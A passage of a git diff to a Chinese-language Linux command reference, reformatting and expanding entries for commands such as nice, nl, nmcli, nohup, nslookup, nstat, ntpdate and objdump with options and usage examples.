新建一个进程并设置优先级,将当前目录下的documents目录打包,但不希望tar占用太多CPU:
-```
+```shell
nice -19 tar zcf pack.tar.gz documents
```
-方法非常简单,即在原命令前加上`nice -19`。很多人可能有疑问了,最低优先级不是19么?那是因为这个“-19”中的“-”仅表示参数前缀;所以,如果希望将当前目录下的documents目录打包,并且赋予tar进程最高的优先级:
+方法非常简单,即在原命令前加上`nice -19`。很多人可能有疑问了,最低优先级不是19么?那是因为这个“-19”中的“-”仅表示参数前缀;所以,如果希望将当前目录下的documents目录打包,并且赋予tar进程最高的优先级就应该加上`nice --20`:
-```
-nice --19 tar zcf pack.tar.gz documents
+```shell
+nice --20 tar zcf pack.tar.gz documents
```
-
\ No newline at end of file
diff --git a/command/nisdomainname.md b/command/nisdomainname.md
index 538bac42801..59f23736389 100644
--- a/command/nisdomainname.md
+++ b/command/nisdomainname.md
@@ -1,23 +1,22 @@
nisdomainname
===
-
+
显示主机NIS的域名
## 补充说明
**nisdomainname命令** 用于显示主机NIS的域名。
-### 语法
+### 语法
-```
+```shell
nisdomainname(选项)
```
-### 选项
+### 选项
-```
+```shell
-v:详细信息模式。
```
-
\ No newline at end of file
diff --git a/command/nl.md b/command/nl.md
index 4f7d82735f6..58fbb0cf50f 100644
--- a/command/nl.md
+++ b/command/nl.md
@@ -1,94 +1,156 @@
nl
===
-
-在Linux系统中计算文件内容行号
-## 补充说明
+为每一个文件添加行号。
-**nl命令** 读取 file 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。在输出中,nl命令根据您在命令行中指定的标志来计算左边的行。输入文本必须写在逻辑页中。每个逻辑页有头、主体和页脚节(可以有空节)。除非使用`-p`选项,nl 命令在每个逻辑页开始的地方重新设置行号。可以单独为头、主体和页脚节设置行计算标志(例如,头和页脚行可以被计算然而文本行不能)。其默认的结果与`cat -n`有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐0等等的功能。
+## 概要
-### 语法
-
-```
-nl (选项) (参数)
+```shell
+nl [OPTION]... [FILE]...
```
-### 选项
+## 主要用途
-```
--b :指定行号指定的方式,主要有两种:
- -b a :表示不论是否为空行,也同样列出行号(类似 cat -n);
- -b t :如果有空行,空的那一行不要列出行号(默认值);
+- 将每一个输入的文件添加行号后发送到标准输出。
+- 当没有文件或文件为`-`时,读取标准输入
+- 处理逻辑页(logical page)。
--n :列出行号表示的方法,主要有三种:
- -n ln :行号在萤幕的最左方显示;
- -n rn :行号在自己栏位的最右方显示,且不加 0 ;
- -n rz :行号在自己栏位的最右方显示,且加 0 ;
+## 选项
--w :行号栏位的占用的位数。
--p :在逻辑定界符处不重新开始计算。
-```
+```shell
+-b, --body-numbering=STYLE 使用STYLE 为body部分的行附加行号。
+-d, --section-delimiter=CC 使用CC作为logical page的分隔符。
+-f, --footer-numbering=STYLE 使用STYLE 为footer部分的行附加行号。
+-h, --header-numbering=STYLE 使用STYLE 为header部分的行附加行号。
+-i, --line-increment=NUMBER 行号递增间隔为NUMBER。
+-l, --join-blank-lines=NUMBER 连续NUMBER行的空行作为一行处理。
+-n, --number-format=FORMAT 根据FORMAT插入行号。
+-p, --no-renumber 不要在每个部分重置行号。
+-s, --number-separator=STRING 在行号后添加字符串STRING。
+-v, --starting-line-number=NUMBER 每部分的起始行号。
+-w, --number-width=NUMBER 行号宽度为NUMBER。
+--help 显示帮助信息并退出。
+--version 显示版本信息并退出。
-### 实例
- **用 nl 列出 log2015.log 的内容** :
+默认选项为:-bt -d'\:' -fn -hn -i1 -l1 -nrn -sTAB -v1 -w6
-```
-root@localhost [test]# nl log2015.log
-1 2015-01
-2 2015-02
+CC是由两个字符组成的,默认为\: ,第二个字符如果缺失则默认为:
-3 ======[root@localhost test]#
-```
+STYLE可以为下列可用值之一:
+
+a 所有行标记行号。
+t 仅为非空行标记行号。
+n 不标记行号。
+pBRE 符合基础正则表达式(BRE)的行会标记行号。
-说明:文件中的空白行,nl 不会加上行号
+FORMAT可以为下列可用值之一:
- **用 nl 列出 log2015.log 的内容,空本行也加上行号** :
+ln 左对齐,不会在开始部分补充0以满足宽度。
+rn 右对齐,不会在开始部分补充0以满足宽度。
+rz 右对齐,会在开始部分补充0以满足宽度。
+logical page
+三部分组成(header, body, footer)
+起始标记(header \:\:\:, body \:\:, footer \:)
```
-[root@localhost test]# nl -b a log2015.log
-1 2015-01
-2 2015-02
-3
-4
-5 ======[root@localhost test]#
+
+## 参数
+
+FILE(可选):要处理的文件,可以为一或多个。
+
+## 返回值
+
+返回0表示成功,返回非0值表示失败。
+
+## 例子
+
+```shell
+nl_logicalpage.txt:该文件用于说明nl命令处理逻辑页,内容如下:
+\:\:\:
+header_1
+\:\:
+body_1
+\:
+footer_1
+\:\:\:
+header_2
+\:\:
+body_2
+\:
+footer_2
```
- **让行号前面自动补上0,统一输出格式:**
+```shell
+[user2@pc ~]$ nl nl_logicalpage.txt
+
+ header_1
+
+ 1 body_1
+
+ footer_1
+
+ header_2
+
+ 1 body_2
+ footer_2
+
+[user2@pc ~]$ nl -v0 -fa -ha nl_logicalpage.txt
+
+ 0 header_1
+
+ 1 body_1
+
+ 2 footer_1
+
+ 0 header_2
+
+ 1 body_2
+
+ 2 footer_2
+
+[user2@pc ~]$ nl -p -fa -ha nl_logicalpage.txt
+
+ 1 header_1
+
+ 2 body_1
+
+ 3 footer_1
+
+ 4 header_2
+
+ 5 body_2
+
+ 6 footer_2
```
-[root@localhost test]# nl -b a -n rz log2015.log
-000001 2015-01
-000002 2015-02
-000003 2015-03
-000004 2015-04
-000005 2015-05
-000006 2015-06
-000007 2015-07
-000008 2015-08
-000009 2015-09
-000010 2015-10
-000011 2015-11
-000012 2015-12
-000013 =======
-
-[root@localhost test]# nl -b a -n rz -w 3 log2015.log
-001 2015-01
-002 2015-02
-003 2015-03
-004 2015-04
-005 2015-05
-006 2015-06
-007 2015-07
-008 2015-08
-009 2015-09
-010 2015-10
-011 2015-11
-012 2015-12
-013 =======
+
+```shell
+nl_normal.txt:该文件用于说明nl命令处理普通文件,内容如下:
+ZhuangZhu-74
+2019-11-21
+127.0.0.1
+```
+
+```shell
+[user2@pc ~]$ nl nl_normal.txt
+ 1 ZhuangZhu-74
+ 2 2019-11-21
+ 3 127.0.0.1
+
+[user2@pc ~]$ nl -b p'1$' nl_normal.txt
+ ZhuangZhu-74
+ 1 2019-11-21
+ 2 127.0.0.1
+
+[user2@pc ~]$ nl -b p'^[A-Z]' nl_normal.txt
+ 1 ZhuangZhu-74
+ 2019-11-21
+ 127.0.0.1
```
-说明:`nl -b a -n rz`命令行号默认为六位,要调整位数可以加上参数`-w 3`调整为3位。
+### 注意
+
+1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 nl`,`info coreutils 'nl invocation'`。
-
\ No newline at end of file
diff --git a/command/nm.md b/command/nm.md
index 519138a9a2c..9dbade0874b 100644
--- a/command/nm.md
+++ b/command/nm.md
@@ -1,30 +1,29 @@
nm
===
-
+
显示二进制目标文件的符号表
## 补充说明
**nm命令** 被用于显示二进制目标文件的符号表。
-### 语法
+### 语法
-```
+```shell
nm(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-A:每个符号前显示文件名;
-D:显示动态符号;
-g:仅显示外部符号;
-r:反序显示符号表。
```
-### 参数
+### 参数
目标文件:二进制目标文件,通常是库文件和可执行文件。
-
\ No newline at end of file
diff --git a/command/nmap.md b/command/nmap.md
index c5a0790f524..8063525d0eb 100644
--- a/command/nmap.md
+++ b/command/nmap.md
@@ -7,15 +7,15 @@ nmap
**nmap命令** 是一款开放源代码的网络探测和安全审核工具,它的设计目标是快速地扫描大型网络。
-### 语法
+### 语法
-```
+```shell
nmap(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-O:激活操作探测;
-P0:值进行扫描,不ping主机;
-PT:是同TCP的ping;
@@ -42,21 +42,21 @@ nmap(选项)(参数)
--send-eth/--send-ip 使用原始以太网发送/构造指定IP发送
```
-### 参数
+### 参数
ip地址:指定待扫描报文中的TCP地址。
-### 实例
+### 实例
**安装nmap**
-```
+```shell
yum install nmap
```
**使用nmap扫描www.jsdig.com的开放端口**
-```
+```shell
[root@localhost ~]# nmap www.jsdig.com
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-12-28 00:06 CST
@@ -70,4 +70,4 @@ Nmap finished: 1 IP address (1 host up) scanned in 45.870 seconds
```
-
+
diff --git a/command/nmcli.md b/command/nmcli.md
index 5307c25a7c3..f340f7ed2a2 100644
--- a/command/nmcli.md
+++ b/command/nmcli.md
@@ -7,26 +7,26 @@ nmcli
**nmcli命令** 是 NetworkManager client 网络管理客户端。
-### 语法
+### 语法
-```bash
+```shell
nmcli [OPTIONS] OBJECT { COMMAND | help }
```
-### 选项
+### 选项
-```bash
+```shell
OPTIONS
- -t[erse] terse output 简洁的输出
- -p[retty] pretty output 漂亮的输出
- -m[ode] tabular|multiline output mode 输出模式
- -f[ields] |all|common specify fields to output 指定要输出的字段
- -e[scape] yes|no escape columns separators in values 在值中转义列分隔符
- -n[ocheck] 不要检查nmcli和NetworkManager版本
- -a[sk] 要求缺少参数
- -w[ait] 设置超时等待整理操作
- -v[ersion] 显示程序版本
- -h[elp] 打印此帮助
+ -t[erse] # terse output 简洁的输出
+ -p[retty] # pretty output 漂亮的输出
+ -m[ode] tabular|multiline # output mode 输出模式
+ -f[ields] |all|common # specify fields to output 指定要输出的字段
+ -e[scape] yes|no # escape columns separators in values 在值中转义列分隔符
+ -n[ocheck] # 不要检查nmcli和NetworkManager版本
+ -a[sk] # 要求缺少参数
+ -w[ait] # 设置超时等待整理操作
+ -v[ersion] # 显示程序版本
+ -h[elp] # 打印此帮助
OBJECT
g[eneral] NetworkManager的一般状态和操作
@@ -37,20 +37,31 @@ OBJECT
a[gent] NetworkManager秘密代理或polkit代理
```
-### 实例
+### 实例
-```bash
-nmcli connection show # 查看当前连接状态
-nmcli connection reload # 重启服务
-nmcli connection show -active # 显示活动的连接
-nmcli connection show "lan eth0"# 显示指定一个网络连接配置
-nmcli device status # 显示设备状态
-nmcli device show eno16777736 # 显示指定接口属性
-nmcli device show # 显示全部接口属性
-nmcli con up static # 启用static连接配置
-nmcli con up default # 启用default连接配置
-nmcli con add help # 查看帮助
+```shell
+nmcli connection show # 查看当前连接状态
+nmcli connection reload # 重启服务
+nmcli connection show -active # 显示活动的连接
+nmcli connection show "lan eth0" # 显示指定一个网络连接配置
+nmcli device status # 显示设备状态
+nmcli device show eno16777736 # 显示指定接口属性
+nmcli device show # 显示全部接口属性
+nmcli con up static # 启用static连接配置
+nmcli con up default # 启用default连接配置
+nmcli con add help # 查看帮助
```
-
\ No newline at end of file
+### 创建网络会话
+
+```shell
+nmcli connection add con-name company ifname ens33 autoconnect no type ethernet ip4 192.168.1.2/24 gw4 192.168.1.1
+# con-name 指定会话名称,
+# ifname 指定本机网卡
+# autoconnect no 是否自动连接
+# ethernet 指定网卡类型
+# ip4/ip6
+# gw4/gw5
+```
+
diff --git a/command/nohup.md b/command/nohup.md
index e6c365b4101..e0ee09d8efb 100644
--- a/command/nohup.md
+++ b/command/nohup.md
@@ -9,27 +9,28 @@ nohup
无论是否将 nohup 命令的输出重定向到终端,输出都将附加到当前目录的 nohup.out 文件中。如果当前目录的 nohup.out 文件不可写,输出重定向到`$HOME/nohup.out`文件中。如果没有文件能创建或打开以用于追加,那么 command 参数指定的命令不可调用。如果标准错误是一个终端,那么把指定的命令写给标准错误的所有输出作为标准输出重定向到相同的文件描述符。
-### 语法
+### 语法
+```shell
nohup(选项)(参数)
+```
-### 选项
+### 选项
-```
+```shell
--help:在线帮助;
--version:显示版本信息。
```
-### 参数
+### 参数
程序及选项:要运行的程序及选项。
-### 实例
-
+### 实例
使用nohup命令提交作业,如果使用nohup命令提交作业,那么在缺省情况下该作业的所有输出都被重定向到一个名为nohup.out的文件中,除非另外指定了输出文件:
-```
+```shell
nohup command > myout.file 2>&1 &
```
@@ -37,14 +38,48 @@ nohup command > myout.file 2>&1 &
该指令表示不做挂断操作,后台下载
-```bash
+```shell
nohup wget site.com/file.zip
```
下面命令,会在同一个目录下生成一个名称为 `nohup.out` 的文件,其中包含了正在运行的程序的输出内容
-```bash
+```shell
nohup ping -c 10 baidu.com
```
-
+最简单的后台运行
+
+```shell
+nohup command &
+```
+
+输出默认重定向到当前目录下 nohup.out 文件
+
+```shell
+nohup python main.py &
+```
+
+自定义输出文件(标准输出和错误输出合并到 main.log)
+
+```shell
+nohup python main.py >> main.log 2>&1 &
+```
+
+与上一个例子相同作用的简写方法
+
+```shell
+nohup python main.py &> main.log &
+```
+
+不记录输出信息
+
+```shell
+nohup python main.py &> /dev/null &
+```
+
+不记录输出信息并将程序的进程号写入 pidfile.txt 文件中,方便后续杀死进程
+
+```shell
+nohup python main.py &> /dev/null & echo $! > pidfile.txt
+```
\ No newline at end of file
diff --git a/command/nologin.md b/command/nologin.md
index bbabbaca7ff..569576f7bde 100644
--- a/command/nologin.md
+++ b/command/nologin.md
@@ -1,19 +1,19 @@
nologin
===
-
+
拒绝用户登录系统
## 补充说明
**nologin命令** 可以实现礼貌地拒绝用户登录系统,同时给出信息。如果尝试以这类用户登录,就在log里添加记录,然后在终端输出This account is currently not available信息,就是这样。一般设置这样的帐号是给启动服务的账号所用的,这只是让服务启动起来,但是不能登录系统。
-### 语法
+### 语法
-```
+```shell
nologin
```
-### 实例
+### 实例
Linux禁止用户登录:
@@ -21,13 +21,13 @@ Linux禁止用户登录:
1、禁止个别用户登录,比如禁止lynn用户登录。
-```
+```shell
passwd -l lynn
```
这就话的意思是锁定lynn用户,这样该用户就不能登录了。
-```
+```shell
passwd -u lynn
```
@@ -35,13 +35,13 @@ passwd -u lynn
2、我们通过修改`/etc/passwd`文件中用户登录的shell
-```
+```shell
vi /etc/passwd
```
更改为:
-```
+```shell
lynn:x:500:500::/home/lynn:/sbin/nologin
```
@@ -49,11 +49,10 @@ lynn:x:500:500::/home/lynn:/sbin/nologin
3、禁止所有用户登录。
-```
+```shell
touch /etc/nologin
```
除root以外的用户不能登录了。
-
\ No newline at end of file
diff --git a/command/nproc.md b/command/nproc.md
new file mode 100644
index 00000000000..86ebcf7a798
--- /dev/null
+++ b/command/nproc.md
@@ -0,0 +1,36 @@
+nproc
+===
+
+打印可用的处理器单元数量。
+
+## 概要
+
+```shell
+nproc [OPTION]...
+```
+
+## 主要用途
+
+- 打印可用的处理器单元数量。
+
+## 选项
+
+```shell
+--all 打印已安装处理器的数量。
+--ignore=N 如果可以的情况下,排除 N 个处理单元。
+--help 显示帮助信息并退出。
+--version 显示版本信息并退出。
+```
+
+## 例子
+
+```shell
+[root@localhost ~]# nproc
+8
+```
+
+### 注意
+
+1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 nproc`,`info coreutils 'nproc invocation'`。
+
+
diff --git a/command/nslookup.md b/command/nslookup.md
index 7e5e9114ca3..5eff691a82b 100644
--- a/command/nslookup.md
+++ b/command/nslookup.md
@@ -1,35 +1,40 @@
nslookup
===
-
+
查询域名DNS信息的工具
## 补充说明
**nslookup命令** 是常用域名查询工具,就是查DNS信息用的命令。
-nslookup4有两种工作模式,即“交互模式”和“非交互模式”。在“交互模式”下,用户可以向域名服务器查询各类主机、域名的信息,或者输出域名中的主机列表。而在“非交互模式”下,用户可以针对一个主机或域名仅仅获取特定的名称或所需信息。
+nslookup有两种工作模式,即“交互模式”和“非交互模式”。在“交互模式”下,用户可以向域名服务器查询各类主机、域名的信息,或者输出域名中的主机列表。
+
+在“非交互模式”下,用户可以针对一个主机或域名仅仅获取特定的名称或所需信息,此时也可以指定查询的DNS服务器。
进入交互模式,直接输入nslookup命令,不加任何参数,则直接进入交互模式,此时nslookup会连接到默认的域名服务器(即`/etc/resolv.conf`的第一个dns地址)。或者输入`nslookup -nameserver/ip`。进入非交互模式,就直接输入`nslookup 域名`就可以了。
-### 语法
+### 语法
-```
-nslookup(选项)(参数)
+```shell
+nslookup(选项)(参数)(DNS服务器)
```
-### 选项
+### 选项
-```
+```shell
-sil:不显示任何警告信息。
```
-### 参数
+### 参数
域名:指定要查询域名。
-### 实例
+### DNS服务器
+不填的话采用默认域名服务器(即`/etc/resolv.conf`的第一个dns地址),填写DNS服务器IP的话,nslookup会向该域名服务器查询域名。
-```
+### 实例
+
+```shell
[root@localhost ~]# nslookup www.jsdig.com
Server: 202.96.104.15
Address: 202.96.104.15#53
@@ -38,7 +43,15 @@ Non-authoritative answer:
www.jsdig.com canonical name = host.1.jsdig.com.
Name: host.1.jsdig.com
Address: 100.42.212.8
+
+[root@localhost ~]# nslookup www.sustech.edu.cn 8.8.8.8
+Server: 8.8.8.8
+Address: 8.8.8.8#53
+
+Non-authoritative answer:
+www.sustech.edu.cn canonical name = www.sustech.edu.cn.w.cdngslb.com.
+Name: www.sustech.edu.cn.w.cdngslb.com
+Address: 113.96.179.222
```
-
\ No newline at end of file
diff --git a/command/nstat.md b/command/nstat.md
new file mode 100644
index 00000000000..45d0c42cd7b
--- /dev/null
+++ b/command/nstat.md
@@ -0,0 +1,137 @@
+nstat
+===
+
+nstat 是一个简单的监视内核的 SNMP 计数器和网络接口状态的实用工具。
+
+## 补充说明
+
+大多数命令行用户都熟悉 netstat ,这是 net-tools 软件包中的命令。目前新版本中 net-tools 软件包几乎完全被弃用,取而代之的是 ip 命令套件,而 nstat 属于新软件包。
+
+### 语法
+
+```s
+nstat [OPTION] [ PATTERN [ PATTERN ] ]
+```
+
+### 选项
+
+```shell
+-h:显示帮助信息;
+-V:显示指令版本信息;
+-z:转储零计数器。默认情况下不显示它们;
+-r:清零历史统计;
+-n:不显示任何内容,仅更新历史;
+-a:显示计数器的绝对值;
+-d:以守护进程模式运行并收集统计数据
+-s:不更新历史;
+-j:JSON格式输出。
+```
+
+### 实例
+
+直接输入以查询网络接口状态,以下展示了 IPv4,IPv6,TCP,UDP,ICMP 的统计数据:
+
+```shell
+nstat
+#kernel
+IpInReceives 769152 0.0
+IpInAddrErrors 1 0.0
+IpInDelivers 769146 0.0
+IpOutRequests 764236 0.0
+IpOutDiscards 20 0.0
+IpOutNoRoutes 1 0.0
+IcmpInMsgs 92 0.0
+IcmpInDestUnreachs 92 0.0
+IcmpOutMsgs 94 0.0
+IcmpOutDestUnreachs 94 0.0
+IcmpMsgInType3 92 0.0
+IcmpMsgOutType3 94 0.0
+TcpActiveOpens 1786 0.0
+TcpPassiveOpens 142 0.0
+TcpAttemptFails 11 0.0
+TcpEstabResets 72 0.0
+TcpInSegs 756827 0.0
+TcpOutSegs 802908 0.0
+TcpRetransSegs 767 0.0
+TcpOutRsts 702 0.0
+UdpInDatagrams 12075 0.0
+UdpNoPorts 82 0.0
+UdpOutDatagrams 7045 0.0
+UdpIgnoredMulti 70 0.0
+Ip6InReceives 5005 0.0
+Ip6InDelivers 5005 0.0
+Ip6OutRequests 131 0.0
+Ip6OutDiscards 2 0.0
+Ip6OutNoRoutes 959 0.0
+Ip6InMcastPkts 4999 0.0
+Ip6OutMcastPkts 125 0.0
+Ip6InOctets 797462 0.0
+Ip6OutOctets 16421 0.0
+Ip6InMcastOctets 797030 0.0
+Ip6OutMcastOctets 15949 0.0
+Ip6InNoECTPkts 5005 0.0
+Icmp6InMsgs 3 0.0
+Icmp6OutMsgs 51 0.0
+Icmp6InNeighborAdvertisements 1 0.0
+Icmp6InMLDv2Reports 2 0.0
+Icmp6OutRouterSolicits 11 0.0
+Icmp6OutNeighborSolicits 4 0.0
+Icmp6OutMLDv2Reports 36 0.0
+Icmp6InType136 1 0.0
+Icmp6InType143 2 0.0
+Icmp6OutType133 11 0.0
+Icmp6OutType135 4 0.0
+Icmp6OutType143 36 0.0
+Udp6InDatagrams 4998 0.0
+Udp6OutDatagrams 76 0.0
+TcpExtTW 385 0.0
+TcpExtPAWSEstab 1 0.0
+TcpExtDelayedACKs 37133 0.0
+TcpExtDelayedACKLocked 57 0.0
+TcpExtDelayedACKLost 456 0.0
+TcpExtTCPHPHits 417717 0.0
+TcpExtTCPPureAcks 34186 0.0
+TcpExtTCPHPAcks 222980 0.0
+TcpExtTCPSACKReorder 1 0.0
+TcpExtTCPLossUndo 194 0.0
+TcpExtTCPLostRetransmit 169 0.0
+TcpExtTCPSlowStartRetrans 1 0.0
+TcpExtTCPTimeouts 494 0.0
+TcpExtTCPLossProbes 309 0.0
+TcpExtTCPBacklogCoalesce 571 0.0
+TcpExtTCPDSACKOldSent 281 0.0
+TcpExtTCPDSACKRecv 281 0.0
+TcpExtTCPAbortOnData 13 0.0
+TcpExtTCPAbortOnClose 30 0.0
+TcpExtTCPDSACKIgnoredOld 1 0.0
+TcpExtTCPDSACKIgnoredNoUndo 258 0.0
+TcpExtTCPSackShiftFallback 1 0.0
+TcpExtTCPRcvCoalesce 18314 0.0
+TcpExtTCPFastOpenActiveFail 2 0.0
+TcpExtTCPSpuriousRtxHostQueues 11 0.0
+TcpExtTCPAutoCorking 1684 0.0
+TcpExtTCPFromZeroWindowAdv 2 0.0
+TcpExtTCPToZeroWindowAdv 2 0.0
+TcpExtTCPSynRetrans 479 0.0
+TcpExtTCPOrigDataSent 359814 0.0
+TcpExtTCPHystartTrainDetect 13 0.0
+TcpExtTCPHystartTrainCwnd 550 0.0
+TcpExtTCPKeepAlive 18 0.0
+TcpExtTCPDelivered 361695 0.0
+TcpExtTCPZeroWindowDrop 1 0.0
+TcpExtTcpTimeoutRehash 494 0.0
+TcpExtTcpDuplicateDataRehash 2 0.0
+TcpExtTCPDSACKRecvSegs 281 0.0
+IpExtInNoRoutes 3 0.0
+IpExtInMcastPkts 5392 0.0
+IpExtOutMcastPkts 221 0.0
+IpExtInBcastPkts 70 0.0
+IpExtOutBcastPkts 10 0.0
+IpExtInOctets 2100280442 0.0
+IpExtOutOctets 226760631 0.0
+IpExtInMcastOctets 746608 0.0
+IpExtOutMcastOctets 27565 0.0
+IpExtInBcastOctets 5674 0.0
+IpExtOutBcastOctets 778 0.0
+IpExtInNoECTPkts 1885871 0.0
+```
\ No newline at end of file
diff --git a/command/ntpdate.md b/command/ntpdate.md
index aeffc69e0ed..c44638bd08a 100644
--- a/command/ntpdate.md
+++ b/command/ntpdate.md
@@ -1,6 +1,6 @@
ntpdate
===
-
+
使用网络计时协议(NTP)设置日期和时间
## 补充说明
@@ -18,101 +18,25 @@ ntpdate
你必须有 root 权限才能在主机上运行这个命令。
-### 语法
+### 语法
-```
+```shell
ntpdate [ -b] [ -d] [ -s] [ -u] [ -aKeyid] [ -eAuthenticationDelay] [ -kKeyFile] [ -oVersion] [ -pSamples] [ -tTimeOut] Server...
```
-### 选项
-
-
-
-
-
-
-
--aKeyid
-
-使用 Keyid 来认证全部数据包。
-
-
-
-
-
--b
-
-通过调用 settimeofday 子例程来增加时钟的时间。
-
-
-
-
-
--d
-
-指定调试方式。判断 ntpdate 命令会产生什么结果(不产生实际的结果)。结果再现在屏幕上。这个标志使用无特权的端口。
-
-
-
-
-
--eAuthenticationDelay
-
-指定延迟认证处理的时间秒数。
-
-
-
-
-
--kKeyFile
-
-当不使用缺省值 /etc/ntp.keys 文件时,为包含密钥的文件指定一个不同的名称。 请参阅文件KeyFile的描述。
-
-
-
-
-
--oVersion
-
-当轮询它的发出数据包时,指定使用的 NTP 版本实现。 Version 的值可以是 1,2,3。缺省值是 3。
-
-
-
-
-
--pSamples
-
-指定从每个服务器获取的样本的数目。 Samples 的值在 1 和 8 之间,并包括 1 和 8。它的缺省值是 4。
-
-
-
-
-
--s
-
-指定日志操作 syslog 设施的使用,而不是使用标准输出。 当运行 ntpdate 命令和 cron命令时,它是很有用的。
-
-
-
-
-
--tTimeOut
-
-指定等待响应的时间。给定 TimeOut 的值四舍五入为 0.2 秒的倍数。缺省值是 1 秒。
-
-
-
-
-
--u
-
-指定使用无特权的端口发送数据包。 当在一个对特权端口的输入流量进行阻拦的防火墙后是很有益的, 并希望在防火墙之外和主机同步。防火墙是一个系统或者计算机,它控制从外网对专用网的访问。
-
-
-
-
-
-
-
+### 选项
+
+```shell
+-aKeyid # 使用 Keyid 来认证全部数据包。
+-b # 通过调用 settimeofday 子例程来增加时钟的时间。
+-d # 指定调试方式。判断 ntpdate 命令会产生什么结果(不产生实际的结果)。结果再现在屏幕上。这个标志使用无特权的端口。
+-eAuthenticationDelay # 指定延迟认证处理的时间秒数。
+-kKeyFile # 当不使用缺省值 /etc/ntp.keys 文件时,为包含密钥的文件指定一个不同的名称。 请参阅文件KeyFile的描述。
+-oVersion # 当轮询它的发出数据包时,指定使用的 NTP 版本实现。 Version 的值可以是 1,2,3。缺省值是 3。
+-pSamples # 指定从每个服务器获取的样本的数目。 Samples 的值在 1 和 8 之间,并包括 1 和 8。它的缺省值是 4。
+-s # 指定日志操作 syslog 设施的使用,而不是使用标准输出。 当运行 ntpdate 命令和 cron命令时,它是很有用的。
+-tTimeOut # 指定等待响应的时间。给定 TimeOut 的值四舍五入为 0.2 秒的倍数。缺省值是 1 秒。
+-u # 指定使用无特权的端口发送数据包。 当在一个对特权端口的输入流量进行阻拦的防火墙后是很有益的, 并希望在防火墙之外和主机同步。防火墙是一个系统或者计算机,它控制从外网对专用网的访问。
+-q # 仅供查询,不设置时间。
+```
-
\ No newline at end of file
diff --git a/command/ntsysv.md b/command/ntsysv.md
index aef457e025d..d734a171f63 100644
--- a/command/ntsysv.md
+++ b/command/ntsysv.md
@@ -7,28 +7,28 @@ ntsysv
**ntsysv命令** 提供了一个基于文本界面的菜单操作方式,集中管理系统不同的运行等级下的系统服务启动状态。在RedHat各个发行版,CentOS各个版本,都自带这个工具。它具有互动式操作界面,您可以轻易地利用方向键和空格键等,开启,关闭操作系统在每个执行等级中,所要执行的系统服务。
-### 语法
+### 语法
-```
+```shell
ntsysv(选项)
```
-### 选项
+### 选项
-```
+```shell
--leve:指定运行等级;
--back:在互动式界面里,显示Back钮,而非cancel钮。
```
-### 实例
+### 实例
输入ntsysv命令后,出现一个交互式的管理菜单,如下:
-```
+```shell
!ntsysv
```
使用空格键选择或者取消选项!
-
+
diff --git a/command/objdump.md b/command/objdump.md
index 3fd1fd94430..45075ad6966 100644
--- a/command/objdump.md
+++ b/command/objdump.md
@@ -1,53 +1,46 @@
objdump
===
-
+
显示二进制文件信息
## 补充说明
**objdump命令** 是用查看目标文件或者可执行的目标文件的构成的gcc工具。
-### 选项
+### 选项
-```
---archive-headers
--a
-显示档案库的成员信息,类似ls -l将lib*.a的信息列出。
+```shell
+-a --archive-headers
+# 显示档案库的成员信息,类似ls -l将lib*.a的信息列出。
--b bfdname
---target=bfdname
-指定目标码格式。这不是必须的,objdump能自动识别许多格式,比如:
+-b bfdname --target=bfdname
+# 指定目标码格式。这不是必须的,objdump能自动识别许多格式,比如:
objdump -b oasys -m vax -h fu.o
-显示fu.o的头部摘要信息,明确指出该文件是Vax系统下用Oasys编译器生成的目标文件。objdump -i将给出这里可以指定的目标码格式列表。
-
--C
---demangle
-将底层的符号名解码成用户级名字,除了去掉所开头的下划线之外,还使得C++函数名以可理解的方式显示出来。
+# 显示fu.o的头部摘要信息,明确指出该文件是Vax系统下用Oasys编译器生成的目标文件。objdump -i将给出这里可以指定的目标码格式列表。
+-C --demangle
+# 将底层的符号名解码成用户级名字,除了去掉所开头的下划线之外,还使得C++函数名以可理解的方式显示出来。
--debugging
-g
-显示调试信息。企图解析保存在文件中的调试信息并以C语言的语法显示出来。仅仅支持某些类型的调试信息。有些其他的格式被readelf -w支持。
-
--e
---debugging-tags
-类似-g选项,但是生成的信息是和ctags工具相兼容的格式。
+# 显示调试信息。企图解析保存在文件中的调试信息并以C语言的语法显示出来。仅仅支持某些类型的调试信息。有些其他的格式被readelf -w支持。
+-e --debugging-tags
+# 类似-g选项,但是生成的信息是和ctags工具相兼容的格式。
--disassemble
-d
-从objfile中反汇编那些特定指令机器码的section。
+# 从objfile中反汇编那些特定指令机器码的section。
--D
---disassemble-all
-与 -d 类似,但反汇编所有section.
+-D --disassemble-all
+# 与 -d 类似,但反汇编所有section.
--prefix-addresses
-反汇编的时候,显示每一行的完整地址。这是一种比较老的反汇编格式。
+# 反汇编的时候,显示每一行的完整地址。这是一种比较老的反汇编格式。
-EB
-EL
--endian={big|little}
-指定目标文件的小端。这个项将影响反汇编出来的指令。在反汇编的文件没描述小端信息的时候用。例如S-records.
+# 指定目标文件的小端。这个项将影响反汇编出来的指令。在反汇编的文件没描述小端信息的时候用。例如S-records.
-f
--file-headers
@@ -129,15 +122,15 @@ objdump -b oasys -m vax -h fu.o
@file 可以将选项集中到一个文件中,然后使用这个@file选项载入。
```
-### 实例
+### 实例
首先,在给出后面大部分测试所基于的源代码以及编译指令。 源代码如下:
-```
+```shell
root@localhost [test]# nl mytest.cpp
```
-```
+```shell
void printTest() {
char a;
a = 'a';
@@ -151,7 +144,7 @@ a+=2;
对以上源代码进行编译,如下:
-```
+```shell
[root@localhost test]# g++ -c -g mytest.cpp
```
@@ -159,7 +152,7 @@ a+=2;
**查看当前使用的objdump的版本号: **
-```
+```shell
[root@localhost test]# objdump -V
GNU objdump 2.17.50.0.6-14.el5 20061020
Copyright 2005 free Software Foundation, Inc.
@@ -169,7 +162,7 @@ the GNU General Public License. This program has absolutely no warranty.
**查看档案库文件中的信息: **
-```
+```shell
[root@localhost test]# objdump -a libmy2.a
In archive libmy2.a:
myfile.o: file format elf32-i386
@@ -180,7 +173,7 @@ rw-r--r-- 0/0 727 Jul 13 15:32 2011 mytest.o
**这里,libmy2.a是一个使用ar命令将多个*.o目标文件打包而生成的静态库。命令的输出类似`ar -tv`,相比较`ar -tv`输出如下: **
-```
+```shell
[root@localhost test]# ar -tv libmy2.a
